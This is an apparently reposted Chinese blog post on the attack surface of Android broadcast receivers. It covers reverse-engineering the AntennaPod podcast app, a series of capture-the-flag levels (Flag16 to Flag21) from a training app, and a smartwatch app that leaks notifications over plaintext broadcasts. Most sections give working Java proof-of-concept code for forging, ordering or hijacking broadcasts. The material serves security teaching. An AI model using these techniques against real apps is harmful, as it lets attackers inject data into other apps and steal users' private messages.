【安卓安全】广播接收器攻击面

admin 2026-02-02 00:30:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档深入分析Android广播接收器攻击面,通过逆向播客APP与CTF样本,演示了利用导出接收器发送伪造广播、劫持有序广播及截获敏感信息的方法。揭示了应用若不当使用广播机制,攻击者可实现权限绕过或数据窃取,并结合智能手表APP案例证实了真实环境中的安全隐患。 综合评分: 92 文章分类: 移动安全,漏洞分析,渗透测试,逆向分析,漏洞POC


cover_image

【安卓安全】广播接收器攻击面

原创

yichen yichen

陈冠男的游戏人生

2025年11月2日 14:47 北京

Android 应用程序可以向操作系统和其他 Android 应用程序发送和接收广播消息。例如,当发生某些系统事件(例如切换飞行模式)时,系统会自动发送广播。每个关注该事件(通过注册接收器)的应用程序都会收到这些广播,从而第一时间做出相应的处理

    再举个例子,比如你拔出耳机的时候系统会发送一个耳机被拔出的广播,一些音乐 APP 接收到这个广播之后就可以去暂停音乐的播放。又比如,安卓系统有一个广播叫做:BOOT_COMPLETED,是系统启动后发出的,APP 可以根据这个广播来设置开机自启动

基本广播接收器

    来通过一个播客 APP 看一下广播接收器:de.danoeh.antennapod

    应用程序有两种方式使用广播接收器,一种是通过 AndroidManifest.xml 文件,使用 标签导出;另一种方法是使用 registerReceiver() 动态注册接收器类

    通过对该播客 APP 进行逆向,可以找到两种方式

发送广播

    在上面这个 APP 的例子中 de.danoeh.antennapod.spa.SPAReceiver 导出设置为 true,当接收到广播时会先判断是不是:de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE 广播动作,如果是则检查是否含有 ACTION_SP_APPS_QUERY_FEEDS_REPSONSE_FEEDS_EXTRA 数据(feeds)如果有则提取订阅列表数据,然后用 FeedDatabaseWriter.updateFeed 更新订阅

    因此可以发送一个广播动作 de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE 来添加一个订阅,修改 POC 如下:

Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
        String[] feedUrls = {"https://media.rss.com/ctbbpodcast/feed.xml"};
        intent.putExtra("feeds", feedUrls);
        intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
        sendBroadcast(intent);
    }
});

    可以看到当点击按钮后虽然有广播但是禁止调用了,这是安卓 8 中引入的新机制,为了节省电量限制了隐式的广播传递到应用程序

    可以通过指定确切的目标来变成显示的广播,这样系统就会传递这个广播给播客 APP 了,因为不会唤醒很多个程序,只针对这一个应用程序

Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.setAction("de.danoeh.antennapdsp.intent.SP_APPS_QUERY_FEEDS_RESPONSE");
        String[] feedUrls = {"https://media.rss.com/ctbbpodcast/feed.xml"};
        intent.putExtra("feeds", feedUrls);
        intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
        intent.setClassName("de.danoeh.antennapod","de.danoeh.antennapod.spa.SPAReceiver");
        sendBroadcast(intent);
    }
});

    这时候就可以在播客列表中看到新增的订阅了

Flag16Receiver

    继续看 io.hextree.attacksurface 的这个示例程序,首先看一下 io.hextree.attacksurface.receivers.Flag16Receiver

    发现逻辑比较简单,只要接收到的意图中包含额外数据 flag:give-flag-16 即可

因此修改 POC 如下:

Button homeButton = findViewById(R.id.my_button);
homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.putExtra("flag", "give-flag-16");
        intent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.receivers.Flag16Receiver");
        sendBroadcast(intent);
    }
});

Flag17Receiver

    Flag17Receiver 会先接收一个 OrderedBroadcast 然后判断里面有没有 give-flag-17,如果有就调用 flag17Activity 中的 success 函数,通过广播再发回去,因此编写 POC 发送一个广播,然后再监听就可以收到了

homeButton.setOnClickListener(new View.OnClickListener() {
    @Override
    public void onClick(View v) {
        Intent intent = new Intent();
        intent.putExtra("flag", "give-flag-17"); // 关键参数
        intent.setClassName("io.hextree.attacksurface",
                "io.hextree.attacksurface.receivers.Flag17Receiver");
        sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent) {
                Bundle result = getResultExtras(true);
                boolean ok = result.getBoolean("success", false);
                String flag = result.getString("flag", "N/A");
                homeText.setText(ok ? flag : "验证失败");
            }
        },      /* scheduler= */null,
                /* initialCode= */ Activity.RESULT_CANCELED,
                /* initialData= */null,
                /* initialExtras= */null); // 使用有序广播
    }
});

Flag18Activity

    Flag18Activity 会往外发送广播,可以自己注册一个广播接收器来接收广播数据,另外这一关还定义了成功的条件是 resultCode 不等于 0

    在 AndroidManifest.xml 中新建一个接收器并设置为导出

<receiver
&nbsp; &nbsp;&nbsp;android:name=".HiJackReceiver"
&nbsp; &nbsp;&nbsp;android:enabled="true"
&nbsp; &nbsp;&nbsp;android:exported="true">
</receiver>

    此时会提示你新建一个类,在类中接收意图并且提取 flag 并在 logcat 中打印,设置返回值为 2

public&nbsp;class&nbsp;HiJackReceiver&nbsp;extends&nbsp;BroadcastReceiver&nbsp;{
&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;onReceive(Context context, Intent intent)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; String flag = intent.getStringExtra("flag");
&nbsp; &nbsp; &nbsp; &nbsp; Log.i(BroadcastReceiver.class.getName(), "Flag&nbsp;18: " +&nbsp;flag);
&nbsp; &nbsp; &nbsp; &nbsp; setResultCode(2);
&nbsp; &nbsp; }
}

    在 MainActivity 中注册接收器,然后运行,当点击 Flag 18 时即可在 logcat 中看到了,同时题目通关也可以看到结果

BroadcastReceiver receiver =&nbsp;new&nbsp;HiJackReceiver();
registerReceiver(receiver,&nbsp;new&nbsp;IntentFilter("io.hextree.broadcast.FREE_FLAG"));

Flag19Widget

    桌面小组件本质上是广播接收器的封装,可以看到在 onReceive 函数判断 action 是否为:APPWIDGET_UPDATE,以及提取 Bundle 数据,对应代码:Bundle bundleExtra = intent.getBundleExtra(“appWidgetOptions”);

    然后解析 bundle 数据中的 appWidgetMaxHeight 和 appWidgetMinHeight 若值符合 1094795585 和 322376503 则通过

    因此我们要发送一个广播,action 是 APPWIDGET_UPDATE,包含 bundle 数据,然后就能看到 flag 了

Intent intent =&nbsp;new&nbsp;Intent();
Bundle bundle =&nbsp;new&nbsp;Bundle();
bundle.putInt("appWidgetMaxHeight",&nbsp;1094795585);
bundle.putInt("appWidgetMinHeight",&nbsp;322376503);
intent.setAction("APPWIDGET_UPDATE");
intent.putExtra("appWidgetOptions",bundle);
intent.setClassName("io.hextree.attacksurface",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"io.hextree.attacksurface.receivers.Flag19Widget");
sendBroadcast(intent);

Flag20Receiver

    通过 jadx 逆向发现这一关卡通过 NotificationCompat.Builder 创建了一个通知消息,当点击该消息上的按钮时会发送一条广播,又因为通过 registerReceiver(new Flag20Receiver(), new IntentFilter(GET_FLAG)); 动态注册了接收器:Flag20Receiver

    所以 Flag20Receiver 动态实例会优先接收到这个广播消息,然后解析其中的数据,判断是否包含额外数据 :”give-flag” 若包含则成功

    但是因为点击按钮产生的这条广播不带额外的消息,因此是拿不到 flag 的,但是我们可以根据逆向结果,自己构造一个广播发送出去,得到 flag

Intent intent =&nbsp;new&nbsp;Intent();
intent.setAction("io.hextree.broadcast.GET_FLAG");
intent.putExtra("give-flag",&nbsp;true);
sendBroadcast(intent);

Flag21Receiver

    这一关从我们发送广播变成了要接受到目标的广播,通过逆向可知,当我们点击这一关卡创建的通知中的按钮时会将 flag 以广播的形式发送出去,只要我们写一个广播接收器,就可以监听到传回来的 flag 了

    因此其实只需要修改 Flag18Activity 的 POC 为:

BroadcastReceiver receiver =&nbsp;new&nbsp;HiJackReceiver();
registerReceiver(receiver,&nbsp;new&nbsp;IntentFilter("io.hextree.broadcast.GIVE_FLAG"));

    点击通知栏的 GET FLAG 按钮就可以在 logcat 中看到 flag


看一个真实的隐患

    某款手表的 APP 在接收到应用通知时会创建一个 intent 把消息封装,再通过广播把消息通知发出去,而且是明文的,如果你能够写一个 APP 监听这个广播就可以截获 APP 的消息了

    而正常来说想要获取应用通知是需要用户给权限的,也就是说使用这款手表 APP 的用户安装了一个根本不会申请什么权限的 APP 也能把消息偷走


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:陈冠男的游戏人生 yichen yichen《【安卓安全】广播接收器攻击面》

评论:0   参与:  0